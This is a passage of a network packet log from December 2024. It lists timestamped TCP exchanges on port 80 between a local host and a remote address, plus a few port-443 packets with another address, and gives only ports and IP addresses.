Dec 19, 2024 16:10:42.863198996 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.863981962 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.864027977 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.864181042 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.864224911 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.865207911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.865252972 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.865418911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.865454912 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.865995884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.866036892 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.866309881 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.866347075 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.867029905 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.867074966 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.867141962 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.867234945 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.867595911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.867636919 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.867877007 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.867919922 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.868514061 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.868565083 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.868637085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.868745089 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.869398117 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.869498014 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.869528055 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.869599104 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.870290995 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.870441914 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.870455027 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.870491982 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.871198893 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.871243000 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.871583939 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.871654987 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.872108936 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.872150898 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.872498989 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.872538090 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.873035908 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.873200893 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.873203993 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.873241901 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.873959064 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.873996973 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.874175072 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.874352932 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.874995947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.875047922 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.875133991 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.875171900 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.875746965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.875790119 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.875840902 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.876017094 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.876677990 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.876728058 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.876817942 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.876929998 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.877696037 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.877737999 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.877765894 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.877806902 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.878513098 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.878551006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.878679991 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.878859997 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.879437923 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.879499912 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.879507065 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.879540920 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.880389929 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:42.880436897 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:42.938024998 CET	443	49934	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:42.938158989 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:42.940551043 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:42.940561056 CET	443	49934	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:42.942975044 CET	49934	443	192.168.2.6	94.130.191.168
Dec 19, 2024 16:10:42.942984104 CET	443	49934	94.130.191.168	192.168.2.6
Dec 19, 2024 16:10:43.003839016 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.003856897 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.003911972 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.003926039 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.003962994 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.004005909 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.004049063 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.005045891 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.005090952 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.005112886 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.005292892 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.006062031 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.006077051 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.006113052 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.027951956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.028006077 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.028028965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.028069019 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.028290987 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.028321981 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.028337002 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.028383970 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.029005051 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.029051065 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.029074907 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.029166937 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.029951096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.030070066 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.030092955 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.030229092 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.030854940 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.030900955 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.030921936 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.030937910 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.031793118 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.031857014 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.031934023 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.032099962 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.032615900 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.032690048 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.032695055 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.032753944 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.033533096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.033613920 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.033643007 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.033688068 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.034456015 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.034507036 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.034544945 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.034820080 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.035367966 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.035444021 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.035480976 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.035480976 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.036361933 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.036432981 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.036497116 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.036550045 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.037265062 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.037363052 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.037364006 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.037456036 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.038113117 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.038197041 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.038233995 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.038397074 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.039222956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.039302111 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.039361954 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.039510012 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.040100098 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.040158033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.040191889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.040266037 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.040978909 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.041033983 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.041044950 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.041084051 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.041929960 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.041961908 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.041977882 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.041992903 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.042679071 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.042740107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.042773008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.042773008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.043574095 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.043626070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.043664932 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.043760061 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.044460058 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.044507027 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.044775009 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.044888973 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.045375109 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.045439959 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.045474052 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.045531034 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.046309948 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.046427965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.046557903 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.047259092 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.047275066 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.047332048 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.048094034 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.048151970 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.048183918 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.048223972 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.049052954 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.049174070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.049278021 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.049318075 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.049896002 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.049940109 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.049953938 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.050007105 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.050848961 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.050898075 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.050945044 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.051738977 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.051839113 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.052128077 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.052186966 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.052715063 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.052771091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.052786112 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.052823067 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.053543091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.053688049 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.053733110 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.054502010 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.054569006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.054595947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.054770947 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.055430889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.055460930 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.055516958 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.056296110 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.056346893 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.056399107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.056575060 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.057180882 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.057250977 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.057363987 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.058124065 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.058207035 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.058244944 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.058244944 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.059048891 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.059101105 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.059148073 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.059295893 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.059943914 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.060000896 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.060015917 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.060048103 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.060915947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.061007023 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.061037064 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.061080933 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.061865091 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.061919928 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.061945915 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.061945915 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.062648058 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.062747955 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.062777996 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.062907934 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.063569069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.063625097 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.063640118 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.063733101 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.064502954 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.064564943 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.064580917 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.064620018 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.065418959 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.065469980 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.065478086 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.065603018 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.066401005 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.066484928 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.066553116 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.066595078 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.067377090 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.067461967 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.067924023 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.068033934 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.068231106 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.068280935 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.068344116 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.068514109 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.069143057 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.069197893 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.069233894 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.069418907 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.069937944 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.069988966 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.070036888 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.070199966 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.070843935 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.070909977 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.070940018 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.070981026 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.071768045 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.071816921 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.071840048 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.071881056 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.196317911 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.196382046 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.196423054 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.196460962 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.196711063 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.196831942 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.196835995 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.196897030 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.197601080 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.197736025 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.197737932 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.197843075 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.198533058 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.198772907 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.220375061 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.220406055 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.220664024 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.220693111 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.220736027 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.220985889 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.221528053 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.221669912 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.221689939 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.221720934 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.222440958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.222557068 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.222687006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.223341942 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.223345041 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.223431110 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.223623037 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.224297047 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.224369049 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.224387884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.224668980 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.225220919 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.225281954 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.225378036 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.226125956 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.226186991 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.226222038 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.226808071 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.227024078 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.227145910 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.227154016 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.227193117 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.227950096 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.228008032 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.228034019 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.228275061 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.228794098 CET	80	49931	31.41.244.11	192.168.2.6
